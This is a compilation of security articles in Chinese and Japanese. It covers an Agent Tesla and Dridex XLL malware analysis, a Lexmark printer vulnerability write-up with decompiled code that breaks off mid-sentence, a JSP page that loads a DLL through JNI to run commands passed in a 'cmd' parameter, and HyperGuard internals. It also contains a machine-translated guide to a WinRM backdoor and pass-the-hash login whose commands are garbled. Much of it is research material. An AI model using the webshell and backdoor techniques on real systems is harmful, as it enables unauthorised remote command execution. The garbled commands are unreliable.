  19. 摘要在2021 年7 月27 日至12 月1 日期間,Unit 42 研究人員觀察到Agent Tesla 和Dridex 惡意軟件樣本激增,這些樣本是被Excel 插件(XLL) 和Office 4.0 宏釋放的。我們發現Excel 4.0 的宏釋放程序主要用於釋放Dridex,而XLL 下載程序用於釋放Agent Tesla 和Dridex。雖然惡意XLL 文件已經為人所知很長一段時間,但它們在威脅環境中的再次出現則代表了一種新趨勢。 我們觀察到的XLL 文件主要通過電子郵件傳播,其中包含從abcovid[.]tech 電子郵件地址發送的報價誘導內容,電子郵件主題為“INQUIRY”。這些電子郵件的目標包括以下行業的組織:製造業、零售業,聯邦、州和地方政府,金融,藥品,運輸,教育以及美國、歐洲和東南亞的其他幾個國家。此外,我們看到的一些惡意XLL 文件濫用了名為Excel-DNA 的合法開源Excel 插件框架。 本文,我們先來看看XLL 文件屬性、被濫用的合法開源框架和最終的Agent Tesla 有效載荷。下一部分我們將介紹其他感染流程,即提供Dridex 樣本的XLL 和Excel 4 (XLM) 釋放程序。 Palo Alto Networks 客戶可通過Cortex XDR 或WildFire 雲傳播的下一代防火牆安全訂閱,獲得針對此處討論的攻擊的保護。 感染鏈下圖中的流程圖顯示了我們在調查期間觀察到的兩個可能的事件鏈: 受害者收到一封帶有惡意附件的電子郵件; 附件是一個惡意的XLL或XLM文件; 在XLL的情況下,當運行它時,它會: 釋放一個中間投放程序,該投放程序又會釋放一個Agent Tesla 有效載荷; 從Discord 下載Agent Tesla 有效載荷; 從Discord 下載Dridex 有效載荷; 在XLM 的情況下,運行時它會釋放一個VBS 下載程序,該下載程序從Discord 下載並執行Dridex 示例。 雖然Agent Tesla 和Dridex 感染鏈不一定由同一個攻擊者傳播,但它們似乎是感染載體新趨勢的一部分。 感染鏈 什麼是XLL ?XLL 是Excel 插件的擴展,實際上,XLL 只是一個普通的PE-DLL 文件。 XLL 文件擴展名與一個圖標相關聯,該圖標與其他Excel 支持的擴展名非常相似。反過來,普通用戶不會注意到XLL 和其他Excel 文件格式之間的任何區別,並且可以被誘導打開它。這可能令人驚訝,但是Excel很樂意在雙擊時加載和執行XLL文件。 XLL 圖標 Excel 加載XLL 後,會根據定義的XLL 接口調用XLL 文件的導出函數。其中兩個接口函數很突出:xlAutoOpen 和xlAutoClose。這些函數在加載程序激活或停用後分別被調用。這些函數可以用來加載惡意代碼,類似於經典VBA宏中的Auto_Open和Auto_Close方法。 XLL 文件的一個缺點是它們只能由Excel 以正確的位加載,例如,64 位XLL 只能由64 位版本的Excel 加載。 32 位版本也是如此。因此,惡意軟件開發者必須依賴安裝在受害者設備上的Excel 版本。 與VBA 宏一樣,Excel 將警告用戶執行插件引起的安全問題。 嘗試執行XLL 文件時Excel 發出警告 由於上述原因,XLL 文件對於尋求在受害設備上獲得初步立足點的攻擊者來說可能是一個不錯的選擇。攻擊者可以將代碼打包到Excel 加載的DLL 中,這反過來可能會誤導不准備處理這種情況的安全產品。 下圖顯示了PE 編輯程序中的XLL 文件示例。在其他導出函數中,我們可以找到xlAutoOpen 和xlAutoClose 函數。 PE 標頭編輯程序CFF Explorer 顯示的Excel 插件導出 惡意Excel 插件(XLL) 下載程序我們觀察到帶有以下XLL 樣本的惡意電子郵件: SHA256:7a6f8590d4be989faccb34cd393e713fd80fa17e92d7613f33061d647d0e6d12 SHA256:fbc94ba5952a58e9dfa6b74fc59c21d830ed4e021d47559040926b8b96a937d0 Excel-DNA我們遇到的XLL 示例使用了一個用於Excel 插件開發的合法開源框架,稱為Excel-DNA。該框架有幾個功能也適合惡意軟件開發者。一種是無需“接觸”磁盤即可將打包在PE 資源中的壓縮.NET 程序集直接加載到內存中的功能。因此,儘管Excel-DNA 是一個合法的框架,但它具有類似於惡意加載程序的功能,並且可以作為加載程序被濫用。 Excel-DNA 還有另一個屬性可能會阻礙Yara 的覆蓋,甚至惡意軟件開發者也可能不知道。出於某種原因,許多Excel-DNA樣本有10000多個導出函數,其中大多數是沒有任何有意義的函數。 Yara PE模塊導出函數解析限制只有8192個。因此,針對位於索引高於8192 的某個導出名稱的Yara 規則將不會與樣本匹配。 當我們查看Excel-DNA XLL 的資源時,我們可以看到一個名為__MAIN__ 的XML 資源。此資源包含有關Excel-DNA 加載哪個模塊的信息。在我們的示例中,指定的模塊將從名為JACK 的資源中被解壓縮。 資源將使用LZMA 算法解壓縮,然後加載到內存中。 Excel-DNA 資源 我們已經創建了用於從Excel-DNA插件中提取這類程序集的Python代碼。你可以在Unit 42 GitHub 存儲庫中找到此腳本。 Jack 資源加載的模塊是一個簡單的釋放程序,加載模塊後,將調用AutoOpen 方法。此方法中的惡意代碼將最終的有效載荷可執行文件放入%AppData%\service.exe 並執行它。值得注意的是,Jack 中包含的模塊是可配置的,這意味著在其他版本中它可以下載有效載荷而不是釋放它,以及釋放一個真正的Excel 模板並執行它。 配置如下圖所示,其中包含以下選項: bDown:下載有效載荷。 templateEnabled :釋放並打開一個Excel 模板。 有效載荷:包含要釋放的有效載荷。 使用AutoOpen方法反編譯JACK 下載程序模塊的代碼,如dnSpy所示。 下載程序配置變量和字節數組中包含的最終有效載荷 最終有效載荷——Agent TeslaSHA256:AB5444F001B8F9E06EBF12BC8FDC200EE5F4185EE52666D69F7D996317EA38F3最終的有效載荷是一個經過混淆的Agent Tesla 樣本。在功能方面,Agent Tesla 被廣泛記錄。我們的示例使用SMTP 協議將被盜數據洩露到電子郵件phantom1248@yandex[.]com。下圖顯示了我們的Agent Tesla 樣本的反編譯入口點。它的結構與其他Agent Tesla 樣本類似。 Agent Tesla 的反編譯主函數 字符串解密Agent Tesla 示例將其所有字符串以加密形式存儲在大量字符中。 初始化時,示例將“大字節數組”的每個字節與硬編碼字節170 和“大字節數組”中字符的索引(修剪為字節大小)進行異或。接下來,樣本通過將解密後的數組拼接成已知的偏移量和相應的長度來填充一個存儲所有字符串的數組。例如,讓我們檢查偏移量665 中的8個字節: 下面的代碼將解密後的字節數組偏移量665處的8個字節分配給字符串數組的第53個成員。 字符串分配代碼 通過解密的字符串數組,我們可以看到Agent Tesla想要竊取的各種目標: 敏感的瀏覽程序信息和cookie; 郵件、FTP 和VPN 客戶端信息; 來自Windows Vault 的憑據; 記錄的擊鍵和屏幕截圖; 剪貼板信息; Windows Vault為了從Windows Vault 竊取信息,Agent Tesla 開發者似乎將PowerSploit 腳本轉換為C# 以構建.NET 程序集。 它使用P/Invoke 從vaultcli.dll 庫中調用API 函數。首先,將調用VaultEnumerateItems 以獲取所有可用的庫。接下來,將使用VaultOpenVault 打開每個庫。庫打開後,將使用VaultEnumerateItems 枚舉包含的項目。最後,使用VaultGetItem 讀取項目的屬性。 Agent Tesla 將查詢記錄為自己的列表中的項目(手動反混淆代碼如下圖所示)。 用於記錄提取的Windows Vault 項目的反混淆Agent Tesla 代碼 下面是Agent Tesla 用來竊取信息的Windows Vault GUID和相應的描述列表: 總結近期惡意軟件激增,我們分析了使用Excel 插件(XLL) 的感染鏈,還描述了惡意軟件開發者如何濫用合法的Excel-DNA 框架來創建這些惡意XLL。最後,我們簡要描述了最終的Agent Tesla 有效載荷以及它試圖從受害者係統中竊取的信息,重點是Windows Vault 數據。在最近的攻擊中使用Excel 插件可能表明攻擊發展的新趨勢。 在下一篇文章中,我們將描述另一個感染鏈,其中涉及使用Excel 4.0 宏來傳播Dridex。
  20. winrmはポートマルチプレックスを実装します この攻撃方法には、アカウントとパスワードが必要です。ハッシュを取得した場合は、邪悪なウィンラムを使用してハッシュログインを実現することもできます。 サービスは導入 WinRMのフルネームはWindowsリモート管理であり、Microsoftのサーバーハードウェア管理機能の一部であり、ローカルまたはリモートサーバーを管理できます。 WINRMサービスにより、管理者はWindowsオペレーティングシステムにリモートでログインし、Telnetと同様のインタラクティブコマンドラインシェルを取得できますが、基礎となる通信プロトコルはHTTPを使用します。 バックドアアプリケーション Windows2012サーバーでは、WinRMがデフォルトで開始され、ポート5985が有効になっており、2008年のシステムでサービスを手動で有効にする必要があります。 Winrm QuickConfig -Qスタートアップ後、ファイアウォールはポートもリリースします httplistenerリスニングの共存を有効にするように設定します winrm set winrm/config/service @{enableCompatibilityhttplistener='true'} //80 winrm set winrm/config/service @{enableCompatibilityHttpsListener='true'} //443 リスニングポートを80/443に変更します winrm set winrm/config/ristener?address=*+transport=http @{port='80 '} winrm set winrm/config/リスナー?address=*+transport=https @{port='443'} また、ローカル接続では、WinRMサービスをオンにしてから信頼できるホストをセットアップする必要があります。 Winrm QuickConfig -Q winrm set winrm/config/client @{trustedhosts='*'} Winrs -R:http://172.16.142.151:5985 -U3:ADMINISTRATOR -P:ADMIN123 'WHAAMI' winrm pth Macの下で邪悪なwinRMを使用してPTHを実装します sudo gem install vail-winrm 邪悪なwinrm -i 172.16.142.151 -u管理者-h 8842
  21. 2021年10月,我們的研究人員發現了一個安全漏洞,並在2021年11月舉行的Pwn2Own 2021大賽中成功利用了該漏洞。今年一月,Lexmark公司發布了該漏洞(CVE-2021-44737)的安全補丁。 最初,我們是打算以Lexmark MC3224i打印機為目標的,然而,由於該型號的打印機到處缺貨,所以,我們決定買一台Lexmark MC3224dwe打印機作為其替代品。它們的主要區別在於:Lexmark MC3224i型號提供了傳真功能,而Lexmark MC3224dwe型號則缺乏該功能。從漏洞分析的角度來看,這意味著兩者之間可能有一些差異,至少我們很可能無法利用某些功能。於是,我們下載了兩個型號的固件更新,發現它們竟然完全一樣,所以,我們決定繼續考察Lexmark MC3224dwe——反正我們也沒有選擇的餘地。 就像Pwn2Own所要求的那樣,該漏洞可被遠程利用,無需經過身份驗證,並存在於默認配置中。利用該漏洞,攻擊者就能以該打印機的root用戶身份遠程執行代碼。 關於該漏洞的利用過程,具體如下所示: 1、利用臨時文件寫入漏洞(CVE-2021-44737),對ABRT鉤子文件執行寫操作 2、通過遠程方式,令進程發生崩潰,以觸發ABRT的中止處理 3、中止處理將導致ABRT鉤子文件中的bash命令被執行 實際上,臨時文件寫入漏洞位於Lexmark特有的hydra服務(/usr/bin/hydra)中,該服務在Lexmark MC3224dwe打印機上是默認運行的。 hydra服務的二進製文件非常大,因為它需要處理各種協議。該漏洞存在於打印機工作語言(PJL)命令中,更具體地說,是在一個名為LDLWELCOMESCREEN的命令中。 我們已經分析並利用了CXLBL.075.272/CXLBL.075.281版本中的漏洞,但舊版本也可能存在該漏洞。在這篇文章中,我們將詳細介紹針對CXLBL.075.272的分析過程,因為CXLBL.075.281是在去年10月中旬發布的,並且我們一直在研究這個版本。 注意:Lexmark MC3224dwe打印機是基於ARM(32位)架構的,但這對漏洞的利用過程並不重要,只是對逆向分析有點影響。 由於該漏洞先是觸發了一個ABRT,隨後又中止了ABRT,所以,我們將其命名為“MissionAbrt”。 逆向分析您可以從Lexmark下載頁面下載Lexmark固件更新文件,但是,這個文件是加密的。如果您有興趣了解我們的同事Catalin Visinescu是如何使用硬件黑客技術來獲取該固件文件的,請參閱本系列的第一篇文章。 漏洞詳細信息背景知識正如維基百科所說: 打印機作業語言(PJL)是Hewlett-Packard公司開發的一種方法,用於在作業級別切換打印機語言,以及在打印機和主機之間進行狀態回讀。 PJL增加了作業級別控制,如打印機語言切換、作業分離、環境、狀態回讀、設備考勤和文件系統命令。 PJL命令如下所示: @PJLSETPAPER=A4 @PJLSETCOPIES=10 @PJLENTERLANGUAGE=POSTSCRIPT眾所周知,PJL對攻擊者來說是非常有用的。過去,一些打印機曾經曝光過允許在設備上讀寫文件的漏洞。 PRET是這樣一款工具:借助於該軟件,我們就能在各種打印機品牌上使用PIL(以及其他語言),但它不一定支持所有的命令,因為每個供應商都提供了自己的專有命令。 找到含有漏洞的函數雖然hydra服務的二進製文件沒有提供符號,卻提供了許多日誌/錯誤函數,其中包含一些函數名。下面顯示的代碼是通過IDA/Hex-Rays反編譯的代碼,因為尚未找到該二進製文件的開放源代碼。其中,許多PJL命令由地址為0xFE17C的setup_pjl_commands()函數註冊的。這裡,我們對LDLWELCOMESCREEN PJL命令非常感興趣,因為它好像是Lexmark專有的,並且沒有找到相應的說明文檔。 int__fastcallsetup_pjl_commands(inta1) { //[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND] pjl_ctx=create_pjl_ctx(a1); pjl_set_datastall_timeout(pjl_ctx,5); sub_11981C(); pjlpGrowCommandHandler('UEL',pjl_handle_uel); . pjlpGrowCommandHandler('LDLWELCOMESCREEN',pjl_handle_ldlwelcomescreen); .當接收到PJL LDLWELCOMESCREEN命令後,0x1012f0處的pjl_handle_ldlwelcomescreen()函數將開始處理該命令。我們可以看到,這個命令使用一個表示文件名的字符串作為第一個參數: int__fastcallpjl_handle_ldlwelcomescreen(char*client_cmd) { //[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND] result=pjl_check_args(client_cmd,'FILE','PJL_STRING_TYPE','PJL_REQ_PARAMETER',0); if(result=0) returnresult; filename=(constchar*)pjl_parse_arg(client_cmd,'FILE',0); returnpjl_handle_ldlwelcomescreen_internal(filename); }然後,0x10a200處的pjl_handle_ldlwelcomescreen_internal()函數將嘗試打開該文件。請注意,如果該文件存在,該函數並不會打開它,而是立即返回。因此,我們只能寫還不存在的文件。此外,完整的目錄層次結構必須已經存在,以便我們創建文件,同時,我們還需要具有寫文件的權限。 unsignedint__fastcallpjl_handle_ldlwelcomescreen_internal(constchar*filename) { //[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND] if(!filename) return0xFFFFFFFF; fd=open(filename,0xC1,0777);//open(filename,O_WRONLY|O_CREAT|O_EXCL,0777) if(fd==0xFFFFFFFF) return0xFFFFFFFF; ret=pjl_ldwelcomescreen_internal2(0,1,pjl_getc_,write_to_file_,fd);//goeshere if(!retpjl_unk_functionpjl_unk_function(filename)) pjl_process_ustatus_device_(20001); close(fd); remove(filename); returnret; }下面我們開始考察pjl_ldwelcomescreen_internal2()函數,但請注意,上面的文件最後會被關閉,並然後通過remove()調用完全刪除文件名。這意味著我們似乎只能暫時寫入該文件。 文件寫入原語現在,讓我們分析0x115470處的pjl_ldwelcomescreen_internal2()函數。由於使用了flag==0選項,因此,pjl_handle_ldlwelcomescreen_internal()函數最終將調用pjl_ldwelcomescreen_internal3()函數: unsignedint__fastcallpjl_ldwelcomescreen_internal2( intflag, intone, int(__fastcall*pjl_getc)(unsigned__int8*p_char), ssize_t(__fastcall*write_to_file)(int*p_fd,char*data_to_write,size_tlen_to_write), int*p_fd) { //[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND] bad_arg=write_to_file==0; if(write_to_file) bad_arg=pjl_getc==0; if(bad_arg) return0xFFFFFFFF; if(flag) returnpjl_ldwelcomescreen_internal3bis(flag,one,pjl_getc,write_to_file,p_fd); returnpjl_ldwelcomescreen_internal3(one,pjl_getc,write_to_file,p_fd);//goeshereduetoflag==0 }我們花了一些時間,來逆向分析0x114838處的pjl_ldwelcomescreen_internal3()函數,以理解其內部機制。這個函數不僅很大,通過反編譯得到的代碼可讀性不是太高,但邏輯仍然很容易理解。 基本上,這個函數負責從客戶端讀取附加數據,並將其寫入前面打開的文件。 客戶端數據似乎是由另一個線程異步接收的,並保存到分配給pjl_ctx結構體的內存中。因此,pjl_ldwelcomescreen_internal3()函數每次從pjl_ctx結構體中讀取一個字符,並填充0x400字節的堆棧緩衝區。 1、如果接收到0x400字節數據,並且堆棧緩衝區已滿,則最終會將這些0x400字節寫入以前打開的文件中。然後,它重置堆棧緩衝區,並開始讀取更多數據以重複該過程。 2、如果接收到PJL命令的頁腳(“@PJL END data”),它將丟棄頁腳部分,然後將接收的數據(大小0x400字節)寫入文件,最後退出。 unsignedint__fastcallpjl_ldwelcomescreen_internal3( intwas_last_write_success, int(__fastcall*pjl_getc)(unsigned__int8*p_char), ssize_t(__fastcall*write_to_file)(int*p_fd,char*data_to_write,size_tlen_to_write), int*p_fd) { unsignedintcurrent_char_2;//r5 size_tlen_to_write;//r4 intlen_end_data;//r11 inthas_encountered_at_sign;//r6 unsignedintcurrent_char_3;//r0 intret;//r0 intcurrent_char_1;//r3 ssize_tlen_written;//r0 unsignedintret_2;//r3 ssize_tlen_written_1;//r0 unsignedintret_3;//r3 ssize_tlen_written_2;//r0 unsignedintret_4;//r3 intwas_last_write_success_1;//r3 size_tlen_to_write_final;//r4 ssize_tlen_written_final;//r0 unsignedintret_5;//r3 unsignedintret_1;//[sp+0h][bp-20h] unsigned__int8current_char;//[sp+1Fh][bp-1h]BYREF _BYTEdata_to_write[1028];//[sp+20h][bp+0h]BYREF current_char_2=0xFFFFFFFF; ret_1=0; b_restart_from_scratch: len_to_write=0; memset(data_to_write,0,0x401u); len_end_data=0; has_encountered_at_sign=0; current_char_3=current_char_2; while(1) { current_char=0; if(current_char_3==0xFFFFFFFF) { //getonecharacterfrompjl_ctx-pData ret=pjl_getc(current_char); current_char_1=current_char; } else { //apreviouscharacterwasalreadyretrieved,let'susethatfornow current_char_1=(unsigned__int8)current_char_3; ret=1;//success current_char=current_char_1; } if(has_encountered_at_sign) break;//exittheloopforever //isitan'@'signforaPJL-specificcommand? if(current_char_1!='@') gotob_read_pjl_data; len_end_data=1; has_encountered_at_sign=1; b_handle_pjl_at_sign: //fromhere,current_char=='@' if(len_to_write+130x400)//? { if(was_last_write_success) { len_written=write_to_file(p_fd,data_to_write,len_to_write); was_last_write_success=len_to_write==len_written; current_char_2='@'; ret_2=ret_1; if(len_to_write!=len_written) ret_2=0xFFFFFFFF; ret_1=ret_2; } else { current_char_2='@'; } gotob_restart_from_scratch; } b_read_pjl_data: if(ret==0xFFFFFFFF)//error { if(!was_last_write_success) returnret_1; len_written_1=write_to_file(p_fd,data_to_write,len_to_write); ret_3=ret_1; if(len_to_write!=len_written_1) return0xFFFFFFFF;//error returnret_3; } if(len_to_write0x400) __und(0); //appenddatatostackbuffer data_to_write[len_to_write++]=current_char_1; current_char_3=0xFFFFFFFF;//resettoenforcereadinganothercharacter //atnextloopiteration //reached0x400bytestowrite,let'swritethem if(len_to_write==0x400) { current_char_2=0xFFFFFFFF;//resettoenforcereadinganothercharacter //atnextloopiteration if(was_last_write_success) { len_written_2=write_to_file(p_fd,data_to_write,0x400); ret_4=ret_1; if(len_written_2!=0x400) ret_4=0xFFFFFFFF; ret_1=ret_4; was_last_write_success_1=was_last_write_success; if(len_written_2!=0x400) was_last_write_success_1=0; was_last_write_success=was_last_write_success_1; } gotob_restart_from_scratch; } }//endofwhile(1) //wereachhereifweencounteredan'@'sign //let'scheckitisavalid'@PJLENDDATA'footer if((unsigned__int8)aPjlEndData[len_end_data]!=current_char_1) { len_end_data=1; has_encountered_at_sign=0;//resetsowereaditagain? gotob_read_data_or_at; } if(len_end_data!=12)//len('PJLENDDATA')=12 { ++len_end_data; b_read_data_or_at: //willgobacktothewhile(1)loopbutexitatthenext //iterationdueto'break'andhas_encountered_at_sign==1 if(current_char_1!='@') gotob_read_pjl_data; gotob_handle_pjl_at_sign; } //wereachhereifall'PJLENDDATA'wasparsed current_char=0; pjl_getc(current_char);//read'\r' if(current_char=='\r') pjl_getc(current_char);//read'\n' //writealltheremainingdata(len0x400),exceptthe'PJLENDDATA'footer len_to_write_final=len_to_write-0xC; if(!was_last_write_success) returnret_1; len_written_final=write_to_file(p_fd,data_to_write,len_to_write_final); ret_5=ret_1; if(len_to_write_final!=len_written_final) return0xFFFFFFFF; returnret_5; }位於0xFEA18處的pjl_getc()函數,用於從pjl_ctx結構體中
  22. 0x00 前言Java可以通過JNI接口訪問本地的動態連接庫,從而擴展Java的功能。本文將以Tomcat環境為例,介紹通過jsp加載dll的方法,開源代碼,記錄細節。 0x01 簡介本文將要介紹以下內容: 基礎知識 Java通過JNI加載dll的方法 jsp通過JNI加載dll的方法 0x02 基礎知識JNI,全稱Java Native Interface,是Java語言的本地編程接口。可以用來調用dll文件 調用JNI接口的步驟: 1、編寫Java代碼,註明要訪問的本地動態連接庫和本地方法 2、編譯Java代碼得到.class文件 3、使用javah生成該類對應的.h文件 4、使用C++實現函數功能,編譯生成dll 5、通過Java調用dll 0x03 Java通過JNI加載dll的方法本節將要實現通過Java加載dll,在命令行輸出'Hello World' 1.編寫Java代碼,註明要訪問的本地動態連接庫和本地方法HelloWorld.java: 注: 也可以使用System.load指定加載dll的絕對路徑,代碼示例:System.load('c:\\test\\Hello.dll'); 上述代碼註明了要訪問本地的Hello.dll,調用本地方法print() 2.編譯Java代碼得到.class文件cmd命令: 命令執行後,生成文件HelloWorld.class 3.使用javah生成該類對應的.h文件cmd命令: 命令執行後,生成文件HelloWorld.h 為了簡化後續C++工程的配置,這裡需要修改HelloWorld.h,將#include 4.使用C++實現函數功能,編譯生成dll使用Visual Studio,新建一個C++項目Hello,選中win2控制台應用程序, 應用程序類型為DLL,附加選項:導出符號 修改dllmain.cpp或者Hello.cpp均可,具體代碼如下: 項目需要引用以下三個文件: jni.h,位置為%jdk%\include\jni.h jni_md.h,位置為%jdk%\include\win32\jni_md.h HelloWorld.h,使用javah生成 編譯生成dll 注: 測試環境為64位系統,所以選擇生成64位的Hello.dll 5.通過Java調用dll將Hello.dll和HelloWorld.class保存在同級目錄,執行命令: 獲得返回結果: 加載成功 0x04 jsp通過JNI加載dll的方法本節將要實現在Tomcat環境下,通過訪問jsp文件,執行cmd命令並獲得命令執行結果 1.編寫Java代碼,註明要訪問的本地動態連接庫和本地方法testtomcat_jsp.java: Tomcat環境下,需要以下限制條件: 固定包名格式為org.apache.jsp java文件名稱需要固定格式:***_jsp,並且後面的jsp文件名稱需要同其保持一致。例如testtomcat_jsp.java,那麼最終jsp的文件名稱需要命名為testtomcat.jsp 類名不需要限定為JniClass,可以任意 2.編譯Java代碼得到.class文件cmd命令: 命令執行後,生成文件testtomcat_jsp.class和testtomcat_jsp$JniClass.class 3.使用javah生成該類對應的.h文件將testtomcat_jsp$JniClass.class保存在\org\apache\jsp\下 cmd命令: 命令執行後,生成文件org_apache_jsp_testtomcat_jsp_JniClass.h 為了簡化後續C++工程的配置,這裡需要修改org_apache_jsp_testtomcat_jsp_JniClass.h,將#include 4.使用C++實現函數功能,編譯生成dll使用Visual Studio,新建一個C++項目TestTomcat,選中win2控制台應用程序, 應用程序類型為DLL,附加選項:導出符號 修改dllmain.cpp或者TestTomcat.cpp均可,具體代碼如下: 注: 代碼JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)需要和頭文件中的聲明保持一致 項目需要引用以下三個文件: jni.h,位置為%jdk%\include\jni.h jni_md.h,位置為%jdk%\include\win32\jni_md.h org_apache_jsp_testtomcat_jsp_JniClass.h,使用javah生成 編譯生成dll 注: 測試環境為64位系統,所以選擇生成64位的TestTomcat.dll 5.通過jsp調用dll向Tomcat上傳TestTomcat.dll,在Web目錄創建testtomcat.jsp,內容如下: 注: jsp文件名稱需要同之前的java文件保持一致 訪問URL:http://127.0.0.1:8080/testtomcat.jsp?cmd=whoami 獲得命令執行結果,加載成功 0x05 小結本文以Tomcat環境為例,介紹通過jsp加載dll的方法,開源代碼,記錄細節,能夠擴展jsp的功能。
  23. 本文將介紹SKPG的數據結構和組件,更具體地說,是它被激活的方式。 SKPG 初始化的過程請您點擊這裡了解。 內部HyperGuard激活在SKPG 初始化一文中,我介紹了HyperGuard並描述了它的不同初始化途徑。無論我們怎麼選擇,最終都會在普通內核完成初始化時到達SkpgConnect。此時內核中所有重要的數據結構已經初始化,可以開始受到PatchGuard 和HyperGuard 的監控和保護。 經過幾次標準輸入驗證後,skpgconect獲得SkpgConnectionLock並檢查SkpgInitialized全局變量,以告訴HyperGuard是否已經被初始化。如果設置了變量,函數將根據接收到的信息返回STATUS_ACCESS_DENIED或STATUS_SUCCESS。在任何一種情況下,它都不會做任何其他事情。 如果SKPG 尚未被初始化,SkpgConnect 將開始對其進行初始化。首先,它計算並保存多個隨機值,以便稍後在多個不同的檢查中使用。然後它分配並初始化一個背景結構,保存在全局SkpgContext 中。在我們繼續討論其他SKPG 領域之前,有必要花點時間討論一下SKPG 的背景。 SKPG背景這個SKPG背景結構在SkpgConnect中被分配和初始化,並將在所有SKPG檢查中使用。它包含HyperGuard監控和保護系統所需的所有數據,如NTPTE信息、加密算法、KCFG範圍等,以及另一個計時器和回調,與我們在SKPG 初始化一文看到的計時器和回調不同。不幸的是,像HyperGuard的其他部分一樣,這個結構(我將稱之為SKPG_CONTEXT)沒有文檔記錄,因此我們需要盡最大努力弄清楚它包含什麼以及如何使用它。 首先,需要分配背景。這個背景具有一個動態大小,它取決於從普通內核接收到的數據。因此,它是在運行時使用函數SkpgComputeContextSize計算的。結構的最小大小是0x378字節(隨著背景結構獲得新字段,這個數字往往會隨著Windows構建的次數增加而增加),並且根據從普通內核發送的數據,該結構將被添加一個動態大小。 只有在通過PatchGuard代碼路徑初始化SKPG時才發送的輸入數據是一個名為Extents的結構數組。這些範圍描述了HyperGuard保護的不同內存區域、數據結構和其他系統組件。我將在後面的文章中更詳細地介紹所有這些,但是有幾個例子包括GDT和IDT、某些受保護模塊中的數據部分和具有安全含義的MSR。 計算出所需的大小後,分配SKPG_CONTEXT結構,並在SkpgAllocateContext中設置一些初始字段。其中兩個字段包括另一個安全計時器和一個相關的回調,其函數被設置為SkpgHyperguardTimerRoutine和SkpgHyperguardRuntime。它還設置了與PTE地址相關的字段和其他與分頁相關的屬性,因為很多HyperGuard檢查都驗證了正確的Virtual-Physical頁面轉換。 然後,調用SkpgInitializeContext來使用普通內核提供的範圍完成背景的初始化。這基本上意味著遍歷輸入數組,使用數據初始化內部結構, 我將調用SKPG_EXTENT,並將它們粘貼在SKPG_CONTEXT 結構的末尾,我選擇調用ExtentOffset 的字段指向范圍數組(請注意,這些結構都沒有記錄,因此所有結構和字段名稱都是由組成的): SKPG範圍有許多不同類型的範圍,每個SKPG_EXTENT結構都有一個Type字段指示其類型。每個範圍還具有一個哈希,在某些情況下,該哈希用於驗證對所監控的內存區域沒有做任何更改。然後是被監控內存的基址和字節數的字段,最後是包含每個範圍類型特有數據的聯合。作為參考,下面是反向工程的SKPG_EXTENT結構: 我提到過,HyperGuard使用的輸入區是由普通內核中的PatchGuard初始化器函數提供的。但是SKPG會初始化另一種類型的範圍,同樣安全的範圍。為了初始化這些,SkpgInitializeContext調用SkpgCreateSecureKernelExtents,提供SKPG_CONTEXT結構和當前範圍數組結束的地址,因此可以將安全範圍放置在那裡。安全範圍使用與常規範圍相同的SKPG_EXTENT結構,並保護安全內核中的數據,例如加載到安全內核和安全內核內存範圍中的模塊。 範圍類型如前所述,有許多不同類型的範圍,HyperGuard使用每種範圍來保護系統的不同部分。然而,我們可以將他們分成幾個具有相似特徵的組,並以相似的方式處理。為了清晰並將正常範圍與安全範圍分離,我將使用命名約定SkpgExtent用於正常範圍類型,SkpgExtentSecure用於安全範圍類型。 我想要介紹的第一個範圍非常簡單,它總是被發送到SkpgInitializeContext,而不管其他輸入。 初始化範圍有一個範圍不屬於任何組,因為它不涉及任何HyperGuard驗證。這是0x1000: SkpgExtentInit,此範圍不會復製到背景結構中的數組中。相反,這個範圍類型是由SkpgConnect創建的,並發送到SkpgInitializeContext,以設置背景結構本身中以前未填充的一些字段。這些字段具有與熱補丁相關的附加哈希值和信息,例如是否啟用熱補丁以及retpoline代碼頁的地址。它還在背景結構中設置一些標誌,以反映設備中的一些配置選項。 內存和模塊範圍這個組包括以下範圍類型: 所有這些範圍類型的共同點是,它們都表示HyperGuard要保護的內存範圍。其中大多數包含正常內核中的內存範圍,但是SkpgExtentSecureMemory和SkpgExtentSecureModule有VTL1內存範圍和模塊。儘管如此,不管內存類型或VTL如何,所有這些範圍類型都以類似的方式處理,所以我將它們組合在一起。 當向SKPG Context添加普通內存範圍時,將驗證所有普通內核地址範圍,以確保頁面具有用於SKPG保護的有效映射。為了使普通內核頁對SKPG保護有效,這個頁是不可寫的。 SKPG將監控所有請求頁面的更改,因此內容可以隨時更改的可寫頁面不是此類保護的有效“候選”頁面。因此,SKPG只能監控保護為“讀”或“執行”的頁面。顯然,只有有效的頁面(如PTE中的valid位所示)才能受到保護。當啟用HVCI時,與某些內存範圍有一些細微的差別,因為在這些條件下SKPG無法處理某些頁麵類型。 一旦映射和驗證,每個應該被保護的內存頁將被哈希,並將哈希保存到SKPG_EXTENT結構中,它將在未來的HyperGuard檢查中使用,以驗證頁面沒有被修改。 一些內存範圍描述了一個通用的內存範圍,還有一些,比如SkpgExtentImagePage,描述了一個特定的內存類型,需要稍微區別對待。這種範圍類型提到了普通內核中的特定映像,但是HyperGuard不應該保護整個映像,而應該保護其中的一部分。因此,輸入範圍包括映像基礎、映像中保護應該開始的頁面偏移量以及請求的大小。這裡要保護的內存區域也將被哈希,哈希值將被保存到SKPG_EXTENT中,以便在將來的驗證中使用。 但是寫入SKPG背景的SKPG_EXTENT結構通常只描述單個內存頁面,而係統可能希望保護映像中更大的區域。對於HyperGuard來說,一次處理一個頁面的內存驗證更簡單,這樣可以獲得更可預測的處理時間,避免在哈希大內存範圍時佔用太多時間。因此,當接收到請求大小大於頁面(0x1000字節)的輸入範圍時,SkpgInitializeContext遍歷請求範圍中的所有頁面,並為每個頁面創建一個新的SKPG_EXTENT。只有描述範圍中的第一個頁面的第一個範圍接收類型SkpgExtentImage。描述以下頁面的所有其他類型都接收不同的類型0x1014,我選擇調用SkpgExtentPartialMemory,並且原始的範圍類型位於SKPG_EXTENT結構中特定類型數據的前2個字節中。 數組中的每個範圍都可以用不同的標誌來標記。其中一個是Protected標誌,它只能應用於普通的內核區,這意味著SKPG應該保護指定的地址範圍不受更改。在這種情況下,SkpgInitializeContext將在請求的地址範圍上調用SkmmPinNormalKernelAddressRange來固定並防止它被VTL0代碼釋放: 